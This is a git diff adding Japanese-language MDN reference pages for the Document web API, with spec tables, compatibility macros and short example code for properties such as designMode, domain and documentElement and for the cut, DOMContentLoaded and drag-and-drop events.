+ + diff --git a/files/ja/web/api/document/cut_event/index.html b/files/ja/web/api/document/cut_event/index.html new file mode 100644 index 0000000000..eb69508411 --- /dev/null +++ b/files/ja/web/api/document/cut_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: cut イベント' +slug: Web/API/Document/cut_event +tags: + - API + - Clipboard API + - Cut + - Document + - Event + - Reference + - Web +translation_of: Web/API/Document/cut_event +--- +
{{APIRef}}
+ +

cut イベントは、ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を実行したときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncut", "oncut")}}
+ +

このイベントの本来の対象は、切り取り操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: cut イベントを参照してください。

+ +

例

+ +
document.addEventListener('cut', (event) => {
+    console.log('cut action initiated')
+});
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-cut')}}{{Spec2('Clipboard API')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.cut_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/defaultview/index.html b/files/ja/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..e483791781 --- /dev/null +++ b/files/ja/web/api/document/defaultview/index.html @@ -0,0 +1,97 @@ +--- +title: document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +--- +
{{ApiRef}}
+ +

ブラウザーにおいて、document.defaultView はドキュメントに関連付けられている {{domxref("window")}} オブジェクトを返します。もし存在しない場合は null を返します。

+ +

例

+ +
var win = document.defaultView;
+
+ +

このプロパティは読み取り専用です。

+ +

仕様

+ + + + + + + + + + + + + + + + + + + + + +
仕様状態コメント
{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML WHATWG')}}変更なし
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}{{Spec2('HTML5 W3C')}}初期の定義
+ +

ブラウザー互換性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
機能Firefox (Gecko)ChromeInternet ExplorerEdgeOperaSafari
基本サポート{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatIE("9.0")}}0.10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
機能Firefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
基本サポート{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ja/web/api/document/designmode/index.html b/files/ja/web/api/document/designmode/index.html new file mode 100644 index 0000000000..eddd563a7b --- /dev/null +++ b/files/ja/web/api/document/designmode/index.html @@ -0,0 +1,66 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - DOM + - Document + - HTML DOM + - Property + - Reference + - designmode + - editor + - エディター +translation_of: Web/API/Document/designMode +--- +
{{ApiRef()}}
+ +

document.designMode は、文書全体を編集可能にするかどうかを制御します。妥当な値は "on" および "off" です。仕様書では、このプロパティの既定値は "off" です。 Firefox はこの標準仕様に従っています。初期のバージョンの Chrome や IE は既定で "inherit" です。 Chrome 43 以降では、既定値は "off" であり、 "inherit" には対応しなくなりました。 IE6～10 では、値が大文字です。

+ +

構文

+ +
var mode = document.designMode;
+document.designMode = value;
+ +

値

+ +

designMode が on または off のどちらに設定されているか (または設定するか) を示す文字列です。有効な値は on および off です。

+ +

例

+ +

{{HTMLElement("iframe")}} の文書を編集可能にします。

+ +
iframeNode.contentDocument.designMode = "on";
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.designMode")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/dir/index.html b/files/ja/web/api/document/dir/index.html new file mode 100644 index 0000000000..5f3af5bff7 --- /dev/null +++ b/files/ja/web/api/document/dir/index.html @@ -0,0 +1,51 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +tags: + - API + - Document + - HTML DOM + - Reference + - プロパティ +translation_of: Web/API/Document/dir +--- +
{{ApiRef("HTML DOM")}}
+ +

Document.dir プロパティは {{domxref("DOMString")}} で、文書のテキストの書字方向が、左書き (既定) か右書きかを表します。有効な値は 'rtl' 右書き (右から左)、または 'ltr' 左書き (左から右) です。

+ +

構文

+ +
dirStr = document.dir
+document.dir = dirStr
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}}{{Spec2("HTML WHATWG")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.dir")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/doctype/index.html b/files/ja/web/api/document/doctype/index.html new file mode 100644 index 0000000000..b5dab6bcea --- /dev/null +++ b/files/ja/web/api/document/doctype/index.html @@ -0,0 +1,66 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +tags: + - API + - DOCTYPE + - DOM + - Document + - Reference + - プロパティ +translation_of: Web/API/Document/doctype +--- +
{{ApiRef("DOM")}}
+ +

現在の文書に関連付けられた文書型宣言 (Document Type Declaration) (DTD) を返します。返されるオブジェクトは、 {{domxref("DocumentType")}} インターフェイスを持ちます。 DocumentType を生成するには {{domxref("DOMImplementation.createDocumentType()")}} を使用してください。

+ +

構文

+ +
doctype = document.doctype;
+
+ + + +

例

+ +
var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);
+ +

メモ

+ +

現在の文書に関連付けられている DTD が存在しないは null が返されます。

+ +

DOM レベル 2 では、文書型宣言の編集に対応していません。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}{{Spec2('DOM WHATWG')}} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.doctype")}}

diff --git a/files/ja/web/api/document/document/index.html b/files/ja/web/api/document/document/index.html new file mode 100644 index 0000000000..6b7da7b806 --- /dev/null +++ b/files/ja/web/api/document/document/index.html @@ -0,0 +1,44 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - DOM + - Document + - Reference + - コンストラクター +translation_of: Web/API/Document/Document +--- +
{{APIRef}}
+ +

Document コンストラクターは、ブラウザーに読み込まれたウェブページである {{domxref("Document")}} オブジェクトを新たに生成し、そのページの内容へのエントリーポイントを提供します。

+ +

構文

+ +
new Document();
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-document','Document')}}{{Spec2('DOM WHATWG')}}初回定義
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.Document")}}
diff --git a/files/ja/web/api/document/documentelement/index.html b/files/ja/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..7e8892364d --- /dev/null +++ b/files/ja/web/api/document/documentelement/index.html @@ -0,0 +1,62 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Node + - Reference + - documentElement + - root + - プロパティ +translation_of: Web/API/Document/documentElement +--- +
{{ApiRef("DOM")}}
+ +

Document.documentElement は、その {{domxref("document")}} のルート要素 (例えば、 HTML 文書の場合は {{HTMLElement("html")}} 要素) である {{domxref("Element")}} を返します。

+ +

構文

+ +
const element = document.documentElement
+
+ +

例

+ +
const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+// firstTier は <head> や <body> などの
+// ルート要素の直接の子である NodeList
+
+for (const child of firstTier) {
+  // ルート要素のそれぞれの直接の子に対する処理
+}
+ +

メモ

+ +

空ではない HTML 文章の場合、 documentElement は常に {{HTMLElement("html")}} 要素を返します。空ではない XML 文章の場合、 documentElement は常に文章のルート要素である何らかの要素を返します。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.documentElement")}}

diff --git a/files/ja/web/api/document/documenturi/index.html b/files/ja/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..f8d2d03e81 --- /dev/null +++ b/files/ja/web/api/document/documenturi/index.html @@ -0,0 +1,57 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - API + - DOM + - Document + - Property + - Reference + - Web + - プロパティ +translation_of: Web/API/Document/documentURI +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Document")}} インターフェイスの documentURI プロパティは、文書の位置を文字列で返します。

+ +

もともと DOM3 で定義されたときは、この属性は読み書きできました。最新の DOM 標準では読み取り専用です。

+ +

構文

+ +
var string = document.documentURI;
+
+ +

メモ

+ +

{{domxref("document.URL")}} プロパティも持つ文書では、同じ値を返します。

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}{{Spec2('DOM3 Core')}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.documentURI")}}

diff --git a/files/ja/web/api/document/documenturiobject/index.html b/files/ja/web/api/document/documenturiobject/index.html new file mode 100644 index 0000000000..fa5602c622 --- /dev/null +++ b/files/ja/web/api/document/documenturiobject/index.html @@ -0,0 +1,46 @@ +--- +title: Document.documentURIObject +slug: Web/API/Document/documentURIObject +tags: + - API + - DOM + - Non-standard + - Reference + - プロパティ + - 標準外 +translation_of: Web/API/Document/documentURIObject +--- +
{{ApiRef("DOM")}}{{Non-standard_header}}
+ +

Document.documentURIObject プロパティは読み取り専用で、 document の URI を表す {{Interface("nsIURI")}} オブジェクトを返します。

+ +

このプロパティは、拡張機能のコードなどの (UniversalXPConnect) 特権を持つスクリプトでのみ機能します。ウェブコンテンツではこのプロパティは特別な意味を持たず、他のカスタムプロパティと同様に扱うことしかできません。

+ +

特権コードでは、(XPCNativeWrapper の wrappedJSObject などの) ラップされていないコンテンツオブジェクトに対してこのプロパティを取得または設定しないように注意しなければなりません。詳しくは {{Bug(324464)}} のコメントを参照して下さい。

+ +

構文

+ +
var uri = document.documentURIObject;
+
+ +

例

+ +
// Firefox の現在のタブの URI スキームが "http" かどうか調べる
+// このコードは browser.xul のコンテキストで実行されるものとする
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+
+ +

仕様書

+ +

どの仕様にも属しません。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.documentURIObject")}}

diff --git a/files/ja/web/api/document/domain/index.html b/files/ja/web/api/document/domain/index.html new file mode 100644 index 0000000000..1e5ac86be5 --- /dev/null +++ b/files/ja/web/api/document/domain/index.html @@ -0,0 +1,91 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +
{{ApiRef}}
+ +

{{domxref("Document")}} インターフェイスの domain プロパティは、同一オリジンポリシーで使用される現在の文書の{{glossary("origin", "オリジン")}}のうち、ドメインの部分を取得または設定します。

+ +

このプロパティが正常に設定されると、オリジンのポート番号の部分も {{jsxref("null")}} に設定されます。

+ +

構文

+ +
const domainString = document.domain
+document.domain = domainString
+ +

値

+ +

現在の文書のオリジンのうち、ドメインの部分です。

+ +

例外

+ +
+
SecurityError
+
以下の状況のうちの一つで、 domain を設定することが試みられた。 +
    +
  • 文書がサンドボックス化された {{htmlelement("iframe")}} の中にある場合
    • +
  • 文書に{{glossary("browsing context", "閲覧コンテキスト")}}がない場合
    • +
  • 文書の影響ドメインが null の場合
    • +
  • 指定された値が文書の影響ドメインと一致しない (または登録可能なドメインの接頭辞ではない) 場合
    • +
  • {{HTTPHeader("Feature-Policy")}} の {{httpheader('Feature-Policy/document-domain','document-domain')}} が有効の場合
    • +
+
+
+ +

例

+ +

ドメイン名の取得

+ +

http://developer.mozilla.org/en-US/docs/Web の URI において、この例は currentDomain に "developer.mozilla.org" の文字列を設定します。

+ +
const currentDomain = document.domain;
+ +

ウィンドウを閉じる

+ +

文書が www.example.xxx/good.html のような "www.example.xxx" のドメインを持つ場合、この例はウィンドウを閉じようとします。

+ +
const badDomain = "www.example.xxx";
+
+if (document.domain === badDomain) {
+  // 単なる例: window.close() は効果がないことがある
+  window.close();
+}
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.domain")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/domcontentloaded_event/index.html b/files/ja/web/api/document/domcontentloaded_event/index.html new file mode 100644 index 0000000000..6b967b149a --- /dev/null +++ b/files/ja/web/api/document/domcontentloaded_event/index.html @@ -0,0 +1,190 @@ +--- +title: 'Document: DOMContentLoaded イベント' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - API + - DOMContentLoaded + - Document + - Event + - Web +translation_of: Web/API/Document/DOMContentLoaded_event +--- +
{{APIRef}}
+ +

DOMContentLoaded イベントは、 HTML の初期文書が完全に読み込まれ解釈された時点で発生し、スタイルシート、画像、サブフレームの読み込みが完了するのを待ちません。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可 (ただし、キャンセル可能ではない単純イベントとして定義されている)
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティなし
+ +

別なイベントである {{domxref("Window/load_event", "load")}} は、ページ全体が読み込まれたときにのみ使用します。 load を DOMContentLoaded がより適切である場面で使ってしまうことがよくある誤りです。

+ +

同期 JavaScript は DOM の解析をいったん中断します。ユーザーがページをリクエストした後でできるだけ早く DOM が解析されるようにしたい場合は、 JavaScript を非同期にして、スタイルシートの読み込みを最適化してください。ふつう通りに読み込むと、スタイルシートは HTML と並行で読み込まれ、中心となる HTML 文書の帯域を「盗む」ため、ふつう通りに読み込むと DOM 解析の速度を低下させます。

+ +

例

+ +

基本的な使用

+ +
document.addEventListener('DOMContentLoaded', (event) => {
+    console.log('DOM fully loaded and parsed');
+});
+
+ +

DOMContentLoaded の遅延

+ +
<script>
+  document.addEventListener('DOMContentLoaded', (event) => {
+    console.log('DOM fully loaded and parsed');
+  });
+
+for( let i = 0; i < 1000000000; i++)
+{} // This synchronous script is going to delay parsing of the DOM,
+   // so the DOMContentLoaded event is going to launch later.
+</script>
+
+ +

読み込みが完了しているかどうかのチェック

+ +

DOMContentLoaded はスクリプト実行の機会がある前に発生することがあるため、リスナーを追加する前にチェックするのが賢明です。

+ +
function doSomething() {
+  console.info('DOM loaded');
+}
+
+if (document.readyState === 'loading') {  // Loading hasn't finished yet
+  document.addEventListener('DOMContentLoaded', doSomething);
+} else {  // `DOMContentLoaded` has already fired
+  doSomething();
+}
+
+ +

ライブデモ

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

結果

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#stop-parsing', 'DOMContentLoaded')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}}{{Spec2('HTML5 W3C')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.DOMContentLoaded_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/drag_event/index.html b/files/ja/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..87e9135a4e --- /dev/null +++ b/files/ja/web/api/document/drag_event/index.html @@ -0,0 +1,183 @@ +--- +title: 'Document: drag イベント' +slug: Web/API/Document/drag_event +tags: + - API + - DOM + - Document + - Drag + - DragEvent + - Event + - Reference + - Web + - drag and drop + - イベント + - ウェブ +translation_of: Web/API/Document/drag_event +--- +
{{APIRef}}
+ +

drag イベントは、要素や選択されたテキストをユーザーがドラッグしている間に、数百ミリ秒ごとに発生します。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
既定のアクションドラッグ＆ドロップ操作を続ける
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}
+ +

例

+ +

このコードは JSFiddle デモまたは以下で直接ご覧ください。

+ +

HTML

+ +
<div class="dropzone">
+  <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)">
+    This div is draggable
+  </div>
+</div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+
+ +

CSS

+ +
#draggable {
+  width: 200px;
+  height: 20px;
+  text-align: center;
+  background: white;
+}
+
+.dropzone {
+  width: 200px;
+  height: 20px;
+  background: blueviolet;
+  margin-bottom: 10px;
+  padding: 10px;
+}
+
+ +

JavaScript

+ +
var dragged;
+
+/* events fired on the draggable target */
+document.addEventListener("drag", function(event) {
+
+}, false);
+
+document.addEventListener("dragstart", function(event) {
+  // store a ref. on the dragged elem
+  dragged = event.target;
+  // make it half transparent
+  event.target.style.opacity = .5;
+}, false);
+
+document.addEventListener("dragend", function(event) {
+  // reset the transparency
+  event.target.style.opacity = "";
+}, false);
+
+/* events fired on the drop targets */
+document.addEventListener("dragover", function(event) {
+  // prevent default to allow drop
+  event.preventDefault();
+}, false);
+
+document.addEventListener("dragenter", function(event) {
+  // highlight potential drop target when the draggable element enters it
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "purple";
+  }
+
+}, false);
+
+document.addEventListener("dragleave", function(event) {
+  // reset background of potential drop target when the draggable element leaves it
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+  }
+
+}, false);
+
+document.addEventListener("drop", function(event) {
+  // prevent default action (open as link for some elements)
+  event.preventDefault();
+  // move dragged elem to the selected drop target
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+    dragged.parentNode.removeChild( dragged );
+    event.target.appendChild( dragged );
+  }
+}, false);
+ +

{{EmbedLiveSample('Examples', '300', '200', '')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}{{Spec2("HTML WHATWG")}} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.drag_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/dragend_event/index.html b/files/ja/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..359df887c1 --- /dev/null +++ b/files/ja/web/api/document/dragend_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: dragend イベント' +slug: Web/API/Document/dragend_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragend + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragend_event +--- +
{{APIRef}}
+ +

dragend イベントは、ドラッグ操作が終わろうとしているとき (マウスボタンを離したり、エスケープキーを押したりしたとき) に発生します。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
既定のアクション様々
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}
+ +

例

+ +

サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの JSFiddle デモをご覧ください。

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}{{Spec2("HTML WHATWG")}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.dragend_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/dragenter_event/index.html b/files/ja/web/api/document/dragenter_event/index.html new file mode 100644 index 0000000000..b6104d78f1 --- /dev/null +++ b/files/ja/web/api/document/dragenter_event/index.html @@ -0,0 +1,102 @@ +--- +title: 'Document: dragenter イベント' +slug: Web/API/Document/dragenter_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragenter + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragenter_event +--- +
{{APIRef}}
+ +

dragenter イベントは、ドラッグ中のイベントやテキストの選択範囲が、妥当なドロップターゲットに入ったときに発生します。

+ +

ターゲットのオブジェクトはユーザーによる直接の選択範囲 (ドロップターゲットとしてユーザーによって直接示された要素)、または {{HTMLElement("body")}} 要素です。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
既定のアクションユーザーによる直接の選択範囲をターゲット要素の可能性から除外する
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondragenter", "ondragenter")}}
+ +

例

+ +

サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの JSFiddle デモをご覧ください。

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

仕様

+ + + + + + + + + + + + + + + + +
仕様書状態コメント
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}}{{Spec2("HTML WHATWG")}}
+ +

ブラウザの対応

+ + + +

{{Compat("api.Document.dragenter_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/dragleave_event/index.html b/files/ja/web/api/document/dragleave_event/index.html new file mode 100644 index 0000000000..d02775d087 --- /dev/null +++ b/files/ja/web/api/document/dragleave_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: dragleave イベント' +slug: Web/API/Document/dragleave_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragleave + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragleave_event +--- +
{{APIRef}}
+ +

dragleave イベントは、ドラッグしている要素や選択中のテキストが妥当なドロップターゲットを離れたときに発生します。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
既定のアクションなし
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondragleave", "ondragleave")}}
+ +

例

+ +

サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの JSFiddle デモをご覧ください。

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}}{{Spec2("HTML WHATWG")}} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.dragleave_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/dragover_event/index.html b/files/ja/web/api/document/dragover_event/index.html new file mode 100644 index 0000000000..41e2582faf --- /dev/null +++ b/files/ja/web/api/document/dragover_event/index.html @@ -0,0 +1,102 @@ +--- +title: 'Document: dragover イベント' +slug: Web/API/Document/dragover_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragover + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragover_event +--- +
{{APIRef}}
+ +

dragover イベントは、要素または選択されたテキストが、妥当なドロップターゲットの上にあるときに (数百ミリ秒間隔で) 発生します。

+ +

このイベントはドロップターゲットで発生します。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
既定のアクション現在のドラッグ操作を「なし」にリセットする。
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondragover", "ondragover")}}
+ +

例

+ +

サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの JSFiddle デモをご覧ください。

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}}{{Spec2("HTML WHATWG")}}
+ +

ブラウザの対応

+ + + +

{{Compat("api.Document.dragover_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/dragstart_event/index.html b/files/ja/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..be6565641a --- /dev/null +++ b/files/ja/web/api/document/dragstart_event/index.html @@ -0,0 +1,96 @@ +--- +title: 'Document: dragstart イベント' +slug: Web/API/Document/dragstart_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - drag and drop + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragstart_event +--- +
{{APIRef}}
+ +

dragstart イベントは、ユーザーが要素や選択されたテキストをドラッグし始めたときに発生します。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
既定のアクションドラッグ＆ドロップ操作を始める。
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}
+ +

例

+ +

サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの JSFiddle デモをご覧ください。

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}{{Spec2("HTML WHATWG")}} 
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.dragstart_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/drop_event/index.html b/files/ja/web/api/document/drop_event/index.html new file mode 100644 index 0000000000..35bd7e837b --- /dev/null +++ b/files/ja/web/api/document/drop_event/index.html @@ -0,0 +1,96 @@ +--- +title: 'Document: drop イベント' +slug: Web/API/Document/drop_event +tags: + - DOM + - Document + - Drag Event + - Drop + - Event + - HTML 5 + - Reference + - drag and drop +translation_of: Web/API/Document/drop_event +--- +
{{APIRef}}
+ +

drop イベントは、要素または選択されたテキストが、妥当なドロップターゲットにドロップされたときに発生します。

+ + + + + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
既定のアクション様々
インターフェイス{{domxref("DragEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ondrop", "ondrop")}}
+ +

例

+ +

サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの JSFiddle デモをご覧ください。

+ +

{{EmbedLiveSample('Examples', '300', '200', '', '/Web/API/Document/drag_event')}}

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}}{{Spec2("HTML WHATWG")}}
+ +

ブラウザの対応

+ + + +

{{Compat("api.Document.drop_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/elementfrompoint/index.html b/files/ja/web/api/document/elementfrompoint/index.html new file mode 100644 index 0000000000..1017a6e0c0 --- /dev/null +++ b/files/ja/web/api/document/elementfrompoint/index.html @@ -0,0 +1,49 @@ +--- +title: document.elementFromPoint +slug: Web/API/Document/elementFromPoint +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +--- +
+ {{ApiRef()}} {{Fx_minversion_header(3)}}
+

概要

+

文書の左上を基点として指定された座標上にある要素を返します。

+

構文

+
element = document.elementFromPoint(x,y);
+ +

例

+
<!DOCTYPE html>
+<html lang="ja">
+<head>
+<title>elementFromPoint の使用例</title>
+
+<script>
+function changeColor(newColor) {
+  elem = document.elementFromPoint(2, 2);
+  elem.style.color = newColor;
+}
+</script>
+</head>
+
+
+<body>
+<p id="para1">色は匂へど　散りぬるを……</p>
+<button onclick="changeColor('blue');">blue</button>
+<button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+

注記

+

指定された座標にある要素が別のドキュメント(例えば iframe　内にあるサブドキュメント) に属する場合、指定された座標にあるドキュメントの DOM 要素 (iframe) を返します。もし指定された座標にある要素が匿名あるいは textbox のスクロールバーのように XBL によって生成された内容の場合、指定された座標にある要素を基点として、匿名ではない最初の親要素(例えば textbox)が返されます。

+

